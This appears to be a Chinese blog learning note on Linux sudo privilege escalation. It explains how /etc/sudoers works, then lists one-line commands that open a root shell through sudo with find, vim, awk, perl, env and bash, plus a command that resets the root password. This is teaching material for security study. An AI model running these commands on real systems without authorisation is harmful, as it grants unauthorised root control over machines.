Linux提权5
本次学习Linux sudo提权
实验原理
sudo是Linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。换句话说通过此命令可以让非root
的用户运行只有root才有权限执行的命令。
sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。
/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令
文件语法:
1 | root ALL=(ALL) ALL |
root表示⽤户名
第一个 ALL 指示允许从任何终端、机器访问sudo
第二个 (ALL)指示sudo命令被允许以任何⽤户身份执行
第三个 ALL 表示所有命令都可以作为root执行
实验过程
获取普通用户权限后,测试用户是否具有sudo权限以及可以运行哪些命令,可以使用sudo -l查看
发现可以执行任意命令,那这个时候可以有很多很多种方式提权
find命令提权
1 | sudo find /home -exec /bin/bash \; |
vim命令提权
1 | sudo vim -c '!bash' |
awk提权
1 | sudo awk 'BEGIN {system("/bin/bash")}' |
bash提权
1 | sudo bash |
perl提权
1 | sudo perl -e 'exec "/bin/bash",' |
env提权
1 | sudo env /bin/bash |
passwd 修改密码
1 | sudo passwd root |
如果没有用户没有sudo权限,或者有sudo权限没有相关命令的权限,则无法提权
参考链接:https://blog.csdn.net/jxlhljh/article/details/118101637
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】